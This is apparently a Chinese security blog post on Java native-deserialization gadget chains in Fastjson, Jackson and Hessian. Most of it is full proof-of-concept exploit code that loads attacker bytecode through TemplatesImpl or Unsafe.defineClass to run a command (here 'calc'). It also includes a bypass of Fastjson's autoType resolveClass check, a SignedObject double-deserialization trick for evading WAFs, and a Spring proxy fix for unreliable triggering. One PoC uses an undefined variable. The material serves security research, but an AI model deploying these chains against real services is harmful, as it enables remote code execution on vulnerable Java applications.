发一篇很久之前的内容,最近有接触到了一点
这里的原生反序化指的是不依赖于其他jar包的反序列化链,或者是指狭义的java反序列化readObject方法的调用
Fastjson原生反序列化 
条件 fastjson 版本 <=2.0.26
(fastjson 1所有版本通杀)
JSONArray与JSONObject 实现了序列化接口
这里的点在于toString 方法
JSONObject 和 JSONArray 的toString 方法都是父类JSON 的toString 方法
 
在之前学习fastjson BCEL链的时候,就知道要用parse 方法触发,也就是套几层,时key为JSONObject 对象,调用对应的toString 方法(fastjson<=1.2.36),就会触发对应的getter方法,这里就再来具体看看
toString() 触发getter 跟进JSONSerializer#write
在SerializeConfig#getObjectWriter 根据我们的类型获取ObjectWriter
 
但是JSONObject 是实现了Map接口的,所以会先获取到
当然获取的是MapSerializer
跟进write方法,这里 会对取出其中的key和value 获取ObjectWriter 再write
当value 是 一般的类的时候,就会走到createJavaBeanSerializer 方法 ,之前看过就不再赘述
值得再提的是fastjson 默认配置asm 为 true,所以会使用ASM生成一个类,当然可以手动配置为false ,就会获取到JavaBeanSerializer
无论哪个都是靠 调用由 TypeUtils#buildBeanInfo 提取的getter 来获取 javabean 的属性值
 
ASM 方式的 getter方法调用 的生成在com.alibaba.fastjson.serializer.ASMSerializerFactory#_get当中
 
也是通过反射调用
利用链 既然只能触发get方法的调用那么很容易想到通过触发TemplatesImpl的getOutputProperties方法实现加载任意字节码最终触发恶意方法调用
而触发toString方法我们也有现成的链,通过BadAttributeValueExpException触发即可
因此我们很容易写出利用链子
import  com.alibaba.fastjson.JSONArray;import  javax.management.BadAttributeValueExpException;import  java.io.ByteArrayInputStream;import  java.io.ByteArrayOutputStream;import  java.io.ObjectInputStream;import  java.io.ObjectOutputStream;import  java.lang.reflect.Field;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  javassist.ClassPool;import  javassist.CtClass;import  javassist.CtConstructor;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public  class  Test  {    public  static  void  setValue (Object obj, String name, Object value)  throws  Exception{         Field  field  =  obj.getClass().getDeclaredField(name);         field.setAccessible(true );         field.set(obj, value);     }     public  static  void  main (String[] args)  throws  Exception{         ClassPool  pool  =  ClassPool.getDefault();         CtClass  clazz  =  pool.makeClass("a" );         CtClass  superClass  =  pool.get(AbstractTranslet.class.getName());         clazz.setSuperclass(superClass);         CtConstructor  constructor  =  new  CtConstructor (new  CtClass []{}, clazz);         constructor.setBody("Runtime.getRuntime().exec(\"calc\");" );         clazz.addConstructor(constructor);         byte [][] bytes = new  byte [][]{clazz.toBytecode()};         TemplatesImpl  templates  =  TemplatesImpl.class.newInstance();         setValue(templates, "_bytecodes" , bytes);         setValue(templates, "_name" , "yyjccc" );         JSONArray  jsonArray  =  new  JSONArray ();         jsonArray.add(templates);         BadAttributeValueExpException  val  =  new  BadAttributeValueExpException (null );         Field  valfield  =  val.getClass().getDeclaredField("val" );         valfield.setAccessible(true );         valfield.set(val, jsonArray);         ByteArrayOutputStream  barr  =  new  ByteArrayOutputStream ();         ObjectOutputStream  objectOutputStream  =  new  ObjectOutputStream (barr);         objectOutputStream.writeObject(val);         ObjectInputStream  ois  =  new  ObjectInputStream (new  ByteArrayInputStream (barr.toByteArray()));         Object  o  =  (Object)ois.readObject();     } } 
 
或者
import  javax.management.BadAttributeValueExpException;import  java.io.ByteArrayInputStream;import  java.io.ByteArrayOutputStream;import  java.io.ObjectInputStream;import  java.io.ObjectOutputStream;import  java.lang.reflect.Field;import  com.alibaba.fastjson2.JSONArray;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  javassist.ClassPool;import  javassist.CtClass;import  javassist.CtConstructor;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public  class  Test  {    public  static  void  setValue (Object obj, String name, Object value)  throws  Exception{         Field  field  =  obj.getClass().getDeclaredField(name);         field.setAccessible(true );         field.set(obj, value);     }     public  static  void  main (String[] args)  throws  Exception{         ClassPool  pool  =  ClassPool.getDefault();         CtClass  clazz  =  pool.makeClass("a" );         CtClass  superClass  =  pool.get(AbstractTranslet.class.getName());         clazz.setSuperclass(superClass);         CtConstructor  constructor  =  new  CtConstructor (new  CtClass []{}, clazz);         constructor.setBody("Runtime.getRuntime().exec(\"calc\");" );         clazz.addConstructor(constructor);         byte [][] bytes = new  byte [][]{clazz.toBytecode()};         TemplatesImpl  templates  =  TemplatesImpl.class.newInstance();         setValue(templates, "_bytecodes" , bytes);         setValue(templates, "_name" , "yyjccc" );         JSONObject  jsonObject  =  new  JSONObject ();         jsonObject.put("1" , templates);         BadAttributeValueExpException  val  =  new  BadAttributeValueExpException (null );         Field  valfield  =  val.getClass().getDeclaredField("val" );         valfield.setAccessible(true );         valfield.set(val, jsonObject);         ByteArrayOutputStream  barr  =  new  ByteArrayOutputStream ();         ObjectOutputStream  objectOutputStream  =  new  ObjectOutputStream (barr);         objectOutputStream.writeObject(val);         ObjectInputStream  ois  =  new  ObjectInputStream (new  ByteArrayInputStream (barr.toByteArray()));         Object  o  =  (Object)ois.readObject();     } } 
 
1.2.49的限制 从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法
 
在其SecureObjectInputStream类当中重写了resolveClass,在其中调用了checkAutoType方法做类的检查
 
这又进入了熟悉的checkAutoType方法
resolveClass限制绕过 要想知道resolve 是 怎么绕过的,就得对java 反序列化的流程有一定的了解(我不太了解,(:)
直接反向看,查看什么地方会调用  resolveClass方法,他这里是重写了ObjectInputStream#resolveClass
发现只有一处调用:readNonProxyDesc方法中
 
在readClassDesc中调用了readNonProxyDesc
 
readClassDesc方法从系统中读取当前Java对象所属类的描述信息,(关键点还不是这里)
这里对比一下流程
ObjectInputStream ->readObject0-> readClassDesc-> ... ->  SecureObjectInputStream ->defaultReadObject->readObject0 ->readClassDesc->  resolveClass 
 
当然也可以不按照上面的流程,
注意到readObject0 中的switch 分支
 
大多时候都是走TC_OBJECT这个分支
但是还要注意到上面的TC_REFERENCE 分支,引用类型
注释也写的很清楚: check the type of the existing object
引用类型,这里的引用,是序列化机制的一种优化,
当序列化第二次遇到同一个对象的时候,不会再按照写入对象的流程,而是写入了一个引用,指向之前写入的同一个对象,以便序列化或者反序列化能够减少开销。
跟进readHandle方法中
 
从缓存中获取对应的对象
 
那么只要在序列化的对象中内部重复放入同一个对象,那么第二个就会变为引用的分支(这样也可以减少重复的反序列化)
怎么操作呢?
答案是当向List、set、map类型中添加同样对象(被限制的加载类的对象)时即可成功利用,
这样就很巧妙,利用这些容器类,可以在反序列化JSONObject/JSONArray对象之前 就反序列化好恶意的TemplatesImpl对象
当反序列化JSONObject/JSONArray 当中的恶意对象时候就会走引用类型
这样就绕过了重写的 resolveClass 对类加载的限制
最后poc
import  javax.management.BadAttributeValueExpException;import  java.io.ByteArrayInputStream;import  java.io.ByteArrayOutputStream;import  java.io.ObjectInputStream;import  java.io.ObjectOutputStream;import  java.lang.reflect.Field;import  java.util.HashMap;import  com.alibaba.fastjson2.JSONArray;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  javassist.ClassPool;import  javassist.CtClass;import  javassist.CtConstructor;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public  class  Test  {    public  static  void  setValue (Object obj, String name, Object value)  throws  Exception{         Field  field  =  obj.getClass().getDeclaredField(name);         field.setAccessible(true );         field.set(obj, value);     }     public  static  void  main (String[] args)  throws  Exception{         ClassPool  pool  =  ClassPool.getDefault();         CtClass  clazz  =  pool.makeClass("a" );         CtClass  superClass  =  pool.get(AbstractTranslet.class.getName());         clazz.setSuperclass(superClass);         CtConstructor  constructor  =  new  CtConstructor (new  CtClass []{}, clazz);         constructor.setBody("Runtime.getRuntime().exec(\"calc\");" );         clazz.addConstructor(constructor);         byte [][] bytes = new  byte [][]{clazz.toBytecode()};         TemplatesImpl  templates  =  TemplatesImpl.class.newInstance();         setValue(templates, "_bytecodes" , bytes);         setValue(templates, "_name" , "yyjccc" );         JSONObject  jsonObject  =  new  JSONObject ();         jsonObject.put("1" , templates);         BadAttributeValueExpException  val  =  new  BadAttributeValueExpException (null );         Field  valfield  =  val.getClass().getDeclaredField("val" );         valfield.setAccessible(true );         valfield.set(val, jsonObject); 	 		 HashMap  hashMap  =  new  HashMap (); 		         hashMap.put(templates,bad);         ByteArrayOutputStream  barr  =  new  ByteArrayOutputStream ();         ObjectOutputStream  objectOutputStream  =  new  ObjectOutputStream (barr);         objectOutputStream.writeObject(hashMap);         ObjectInputStream  ois  =  new  ObjectInputStream (new  ByteArrayInputStream (barr.toByteArray()));         Object  o  =  (Object)ois.readObject();     } } 
 
所以可以利用先反序列化恶意对象,绕过检查,反序列化JSONObject 或者JSONArray 的时候,就是引用类型,无需类加载。 
补充:
高版本fastjson中,JSONObjec/JSONArray 反序列化加载类的时候
protected Class<?> resolveClass(ObjectStreamClass desc)                throws IOException, ClassNotFoundException {            String name = desc.getName();            if  (name.length() > 2 ) {                int  index = name.lastIndexOf('[' );                if  (index != -1 ) {                    name = name.substring(index + 1 );                }                if  (name.length() > 2  && name.charAt(0 ) == 'L'  && name.charAt(name.length() - 1 ) == ';' ) {                    name = name.substring(1 , name.length() - 1 );                }                if  (TypeUtils.getClassFromMapping(name) == null) {                    ParserConfig.global.checkAutoType(name, null, Feature.SupportAutoType.mask);                }            }            return  super.resolveClass(desc);        } 
 
ParserConfig.global.checkAutoType(name, null, Feature.SupportAutoType.mask);
正是fastjson autoType检查 加载类的过程(黑白名单)
但是loadClass后,会获取beanInfo
 
然后会获取无参构造方法,但是某些类没声明无参构造方法,会导致抛出异常,终止反序列化
但也得益于fastjson缓存机制,加载类成功后会缓存到map,上面代码 中若缓存中存在该类名,直接调用super.resolveClass
因此有些情况需要反序列化两次
例如:利用fastjson触发二次反序列化绕waf,其中SignObject 就是这个例子
打两次就好了
例题:
 
利用fastjson 触发SignObject#getObject
ClassPool  pool  =  ClassPool.getDefault();    CtClass  clazz  =  pool.makeClass("a" );     CtClass  superClass  =  pool.get(AbstractTranslet.class.getName());     clazz.setSuperclass(superClass);     CtConstructor  constructor  =  new  CtConstructor (new  CtClass []{}, clazz);     constructor.setBody("Runtime.getRuntime().exec(\"calc\");" );     clazz.addConstructor(constructor);     byte [][] bytes = new  byte [][]{clazz.toBytecode()};     TemplatesImpl  templates  =  TemplatesImpl.class.newInstance();     ReflectField.setField(templates, "_bytecodes" , bytes);     ReflectField.setField(templates, "_name" , "yyjccc" );     JSONObject  jsonObject  =  new  JSONObject ();     jsonObject.put("1" , templates);     BadAttributeValueExpException  bad  =  new  BadAttributeValueExpException (null );     Field  valfield  =  bad.getClass().getDeclaredField("val" );     valfield.setAccessible(true );     valfield.set(bad, jsonObject);     HashMap  hashMap  =  new  HashMap ();          hashMap.put(templates,bad);     KeyPairGenerator  kpg  =  KeyPairGenerator.getInstance("DSA" );     kpg.initialize(1024 );     KeyPair  kp  =  kpg.generateKeyPair();     SignedObject  signedObject  =  new  SignedObject (hashMap, kp.getPrivate(), Signature.getInstance("DSA" ));     JSONArray  jsonArray1  =  new  JSONArray ();     jsonArray1.add(signedObject); 	     EventListenerList  eventListenerList  =  new  EventListenerList ();     UndoManager  undoManager  =  new  UndoManager ();     Field  edits  =  CompoundEdit.class.getDeclaredField("edits" );     edits.setAccessible(true );     Vector  vector  =  (Vector)edits.get(undoManager);     vector.add(jsonArray1);     ReflectField.setField(eventListenerList, "listenerList" , new  Object []{InternalError.class, undoManager});     ByteArrayOutputStream  baos  =  new  ByteArrayOutputStream ();     ObjectOutputStream  oos  =  new  ObjectOutputStream (baos);     oos.writeObject(eventListenerList);     oos.close();     System.out.println(new  String (Base64.getEncoder().encode(baos.toByteArray()))); 
 
需要先打1次,然后才能正常触发
Jackson原生反序列化 简单分析 这条 JACKSON 链可以直接在无任何额外依赖的 SpringBoot 环境下使用
jackson获取属性值也是通过getter方法来获取的, 跟fastjson原生反序列化一样是由toString 方法触发
com.fasterxml.jackson.databind.node.BaseJsonNode 这个类toString
最后是在BeanSerializerBase#serializeFields 中 prop.serializeAsField里面调用getter方法![Snipaste_2024-10-03_16-18-56] 
POJONode继承了BaseJsonNode
在BeanSerializerFactory#constructBeanOrAddOnSerializer 中获取合适的getter ,其中细节就跳过
但是还是有问题
 
BaseJsonNode 中含有writeReplace 方法 会导致序列化的时候调用,导致提前触发而序列化失败
 
使用javassist 可以删除该方法
CtClass  jsonNode  =  pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" );CtMethod  writeReplace  =  jsonNode.getDeclaredMethod("writeReplace" );jsonNode.removeMethod(writeReplace); ClassLoader  classLoader  =  Thread.currentThread().getContextClassLoader();jsonNode.toClass(classLoader, null ); 
 
构造出poc:
import  com.fasterxml.jackson.databind.node.POJONode;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  javassist.ClassPool;import  javassist.CtClass;import  javassist.CtConstructor;import  javassist.CtMethod;import  javax.management.BadAttributeValueExpException;import  javax.net.ssl.HttpsURLConnection;import  javax.net.ssl.SSLContext;import  javax.net.ssl.TrustManager;import  javax.net.ssl.X509TrustManager;import  java.io.*;import  java.lang.reflect.Field;import  java.net.HttpURLConnection;import  java.net.URL;import  java.nio.file.Files;import  java.security.SecureRandom;import  java.security.cert.X509Certificate; public  class  Main  {     public  static  void  main (String[] args)  throws  Exception { 		ClassPool  pool  =  ClassPool.getDefault();         CtClass  clazz  =  pool.makeClass("a" );         CtClass  superClass  =  pool.get(AbstractTranslet.class.getName());         clazz.setSuperclass(superClass);         CtConstructor  constructor  =  new  CtConstructor (new  CtClass []{}, clazz);         constructor.setBody("Runtime.getRuntime().exec(\"calc\");" );         clazz.addConstructor(constructor);         byte [] bytes = clazz.toBytecode();         TemplatesImpl  templatesImpl  =  new  TemplatesImpl ();         setFieldValue(templatesImpl, "_bytecodes" , new  byte [][]{bytes});         setFieldValue(templatesImpl, "_name" , "yyjccc" );             CtClass  jsonNode  =  pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" );         CtMethod  writeReplace  =  jsonNode.getDeclaredMethod("writeReplace" );         jsonNode.removeMethod(writeReplace);         ClassLoader  classLoader  =  Thread.currentThread().getContextClassLoader();         jsonNode.toClass(classLoader, null );              POJONode  jsonNodes  =  new  POJONode (templatesImpl);         BadAttributeValueExpException  exp  =  new  BadAttributeValueExpException (null );         Field  val  =  Class.forName("javax.management.BadAttributeValueExpException" ).getDeclaredField("val" );         val.setAccessible(true );         val.set(exp,jsonNodes);              SerializeUtil.serialize(exp); 	} } 
 
Jackson链的不稳定性 如果多重启几次springboot环境 ,或者运气不好就不会成功
可以发现有getter的属性 除了 output 还有transletIndex、stylesheetDOM
 
经过在springboot 环境下 多重启几次调式就可以发现 他们的顺序是随机的
如果当先触发getStylesheetDOM方法的时候
 
_sdom 属性没有在readObject 方法中做任何处理,即便设置默认值 ,经过反序列化后得到的是null
 
那么就会触发空指针异常提前退出
就会如下报错
Caused by: java.lang.NullPointerException     at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450 )     at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)     at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 )     at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 )     at java.lang.reflect.Method.invoke(Method.java:483 )     at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689 )     at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774 )     ... 74  more 
 
根本原因 ,是由于java中getMethods方法返回方法数组中顺序是随机的
可以参考这篇文章:https://mp.weixin.qq.com/s/XrAD1Q09mJ-95OXI2KaS9Q 
参考网上的解决方案:使用动态代理
一个动态代理对象的方法是其代理的接口中的方法
而刚好TemplatesImpl 实现了接口Templates 其其中刚好只有上面三个方法中的getOutputProperties
 
由于一般都有spring依赖,使用spring的动态代理
JdkDynamicAopProxy (也是实现了Serializable 接口)
其中的incoke 方法
public  Object invoke (Object proxy, Method method, Object[] args)  throws  Throwable {       Object  oldProxy  =  null ;        boolean  setProxyContext  =  false ;        TargetSource  targetSource  =  this .advised.targetSource;        Object  target  =  null ; 	......                target = targetSource.getTarget();                Class<?> targetClass = target != null  ? target.getClass() : null ;                List<Object> chain = this .advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);                .......           } 
 
可以看出来被代理的对象存于advised 属性,即AdvisedSupport类
 
而被代理对象又存于targetSource
不过AdvisedSupport#setTarget 的方法就可以直接设置被代理对象
 
构建动态代理
AdvisedSupport  advisedSupport  =  new  AdvisedSupport ();advisedSupport.setTarget(templatesImpl); Constructor  c  =  Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" )                .getConstructor(AdvisedSupport.class); c.setAccessible(true ); InvocationHandler  handler  =  (InvocationHandler)c.newInstance(advisedSupport);Object  proxy  =  Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new  Class []{Templates.class}, handler);
 
最终poc import  com.fasterxml.jackson.databind.node.POJONode;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  javassist.ClassPool;import  javassist.CtClass;import  javassist.CtConstructor;import  javassist.CtMethod;import  org.springframework.aop.framework.AdvisedSupport;import  javax.management.BadAttributeValueExpException;import  javax.xml.transform.Templates;import  java.io.*;import  java.lang.reflect.Constructor;import  java.lang.reflect.Field;import  java.lang.reflect.InvocationHandler;import  java.lang.reflect.Proxy;public  class  Main  {    public  static  void  main (String[] args)  throws  Exception {         ClassPool  pool  =  ClassPool.getDefault();         CtClass  clazz  =  pool.makeClass("a" );         CtClass  superClass  =  pool.get(AbstractTranslet.class.getName());         clazz.setSuperclass(superClass);         CtConstructor  constructor  =  new  CtConstructor (new  CtClass []{}, clazz);         constructor.setBody("Runtime.getRuntime().exec(\"calc\");" );         clazz.addConstructor(constructor);         byte [] bytes = clazz.toBytecode();         TemplatesImpl  templatesImpl  =  new  TemplatesImpl ();         setFieldValue(templatesImpl, "_bytecodes" , new  byte [][]{bytes});         setFieldValue(templatesImpl, "_name" , "yyjccc" );         AdvisedSupport  advisedSupport  =  new  AdvisedSupport ();         advisedSupport.setTarget(templatesImpl);         Constructor  c  =  Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" )                 .getConstructor(AdvisedSupport.class);         c.setAccessible(true );         InvocationHandler  handler  =  (InvocationHandler)c.newInstance(advisedSupport);         Object  proxy  =  Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new  Class []{Templates.class}, handler);         CtClass  jsonNode  =  pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" );         CtMethod  writeReplace  =  jsonNode.getDeclaredMethod("writeReplace" );         jsonNode.removeMethod(writeReplace);         ClassLoader  classLoader  =  Thread.currentThread().getContextClassLoader();         jsonNode.toClass(classLoader, null );         POJONode  jsonNodes  =  new  POJONode (proxy);         BadAttributeValueExpException  exp  =  new  BadAttributeValueExpException (null );         Field  val  =  Class.forName("javax.management.BadAttributeValueExpException" ).getDeclaredField("val" );         val.setAccessible(true );         val.set(exp,jsonNodes);          SerializeUtil.serialize(exp);          SerializeUtil.unSerialize();     } } 
 
Hessian JDK 原生反序列化 Hessain 反序列化 相较于原生的反序列化 类不需要实现Serializable接口也能进行序列化和反序列化
这样范围就比原生的要广
实战中可能由于对方机器由于防火墙限制不能出网,那么就不能打JNDI
这时候就需要这一条链,Hessian反序列化的不出网打法
任意静态方法调用 
在网上一个师傅的文章里找到了一条JDK原生的可以invoke任意静态方法,或实例化任意类的gadget:
UIDefaults#get->    UIDefaults#getFromHashTable->       UIDefaults$LazyValue#createValue->               SwingLazyValue#createValue 
 
UIDefaults这个类中
 
 
SwingLazyValue中
 
这里只能调用类中的静态方法
其实之后可以调用InitContext#doLookup方法
defineClass 不出网执行任意代码的手段之一是将字节码defineClass然后newInstense,比如像基于TemplatesImpl的原生反序列化。之前看内存马的时候,就用过Unsafe去加载一个类
 
但是这并不是一个静态方法,还需要套一层
Trampoline#invoke 方法能够实现静态方法到unsafe里的defineClass
 
但是直接加载Trampoline这个类,会发生报错
 
于是又找到MethodUtil这个类的invoke方法
 
MethodUtil中的invoke也是通过Trampoline#invoke这个方法触发的
由于参数类型的原因,需要套娃一层才能够进行defineClass
调用一次defineClass不能执行静态代码块,需要再利用SwingLazyValue再来一次newInstance
String  className  =  "GeneratedClass" ;      ClassPool  pool  =  ClassPool.getDefault();       CtClass  ctClass  =  pool.makeClass(className);       ctClass.makeClassInitializer().insertBefore(               "Runtime.getRuntime().exec(\"calc\");"        );       byte [] bytes = ctClass.toBytecode();       Method defineClass=Unsafe.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class, ClassLoader.class, ProtectionDomain.class);       Object[] defineClassArgs =new  Object []{"GeneratedClass" ,bytes,0 ,bytes.length,null ,null };       Field  f  =  Unsafe.class.getDeclaredField("theUnsafe" );       f.setAccessible(true );       Unsafe  unsafe  =  (Unsafe) f.get(null );             Method  invoke  =  MethodUtil.class.getMethod("invoke" , Method.class, Object.class, Object[].class);       Object[] invokeArgs =new  Object []{defineClass,unsafe,defineClassArgs};       SwingLazyValue  defineClassswingLazyValue  =  new  SwingLazyValue ("sun.reflect.misc.MethodUtil" ,"invoke" ,new  Object []{invoke,new  Object (),invokeArgs});       Object[] keyValueList1 = new  Object []{"a" , defineClassswingLazyValue};       SwingLazyValue  newInstanceswingLazyValue  =  new  SwingLazyValue ("GeneratedClass" ,null ,new  Object [0 ]);       Object[] keyValueList2 = new  Object []{"ddd" , newInstanceswingLazyValue};       UIDefaults  uiDefaults  =  new  UIDefaults (keyValueList1);       UIDefaults  uiDefaults2  =  new  UIDefaults (keyValueList2);          uiDefaults.get("a" );       uiDefaults2.get("ddd" ); 
 
触发get HashTable 的equal方法
所以是
HashMap#put-> 	HashTable#equal-> 		UIDefaults#get 
 
偷懒了,搬运其他师傅的poc
public  static  void  main (String[] args)  throws  Exception {       String  className  =  "GeneratedClass" ;        ClassPool  pool  =  ClassPool.getDefault();        CtClass  ctClass  =  pool.makeClass(className);        ctClass.makeClassInitializer().insertBefore(                "Runtime.getRuntime().exec(\"calc\");"         );        byte [] bytes = ctClass.toBytecode();        Method defineClass=Unsafe.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class, ClassLoader.class, ProtectionDomain.class);        Object[] defineClassArgs =new  Object []{"GeneratedClass" ,bytes,0 ,bytes.length,null ,null };        Field  f  =  Unsafe.class.getDeclaredField("theUnsafe" );        f.setAccessible(true );        Unsafe  unsafe  =  (Unsafe) f.get(null );                Method  invoke  =  MethodUtil.class.getMethod("invoke" , Method.class, Object.class, Object[].class);        Object[] invokeArgs =new  Object []{defineClass,unsafe,defineClassArgs};        SwingLazyValue  defineClassswingLazyValue  =  new  SwingLazyValue ("sun.reflect.misc.MethodUtil" ,"invoke" ,new  Object []{invoke,new  Object (),invokeArgs});        Object[] keyValueList1 = new  Object []{"a" , defineClassswingLazyValue};        SwingLazyValue  newInstanceswingLazyValue  =  new  SwingLazyValue ("GeneratedClass" ,null ,new  Object [0 ]);        Object[] keyValueList2 = new  Object []{"ddd" , newInstanceswingLazyValue};        UIDefaults  uiDefaults1  =  new  UIDefaults (keyValueList1);        UIDefaults  uiDefaults2  =  new  UIDefaults (keyValueList1);        UIDefaults  uiDefaults3  =  new  UIDefaults (keyValueList2);        UIDefaults  uiDefaults4  =  new  UIDefaults (keyValueList2);        Hashtable<Object, Object> hashtable1 = new  Hashtable <>();        Hashtable<Object, Object> hashtable2 = new  Hashtable <>();        Hashtable<Object, Object> hashtable3 = new  Hashtable <>();        Hashtable<Object, Object> hashtable4 = new  Hashtable <>();        hashtable1.put("a" , uiDefaults1);        hashtable2.put("a" , uiDefaults2);        hashtable3.put("b" , uiDefaults3);        hashtable4.put("b" , uiDefaults4);        HashMap<Object, Object> s = new  HashMap <>();        ReflectField.setField(s, "size" , 4 );        Class<?> nodeC;        try  {            nodeC = Class.forName("java.util.HashMap$Node" );        } catch  (ClassNotFoundException e) {            nodeC = Class.forName("java.util.HashMap$Entry" );        }        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC);        nodeCons.setAccessible(true );        Object  tbl  =  Array.newInstance(nodeC, 4 );        Array.set(tbl, 0 , nodeCons.newInstance(0 , hashtable1, hashtable1, null ));        Array.set(tbl, 1 , nodeCons.newInstance(0 , hashtable2, hashtable2, null ));        Array.set(tbl, 2 , nodeCons.newInstance(0 , hashtable3, hashtable3, null ));        Array.set(tbl, 3 , nodeCons.newInstance(0 , hashtable4, hashtable4, null ));        ReflectField.setField(s, "table" , tbl);        byte [] serialize = HessianSerialize.serialize(s);        Object  deserialize  =  HessianSerialize.deserialize(serialize);    } 
 
其他利用:https://yzddmr6.com/posts/swinglazyvalue-in-webshell/ 
Reference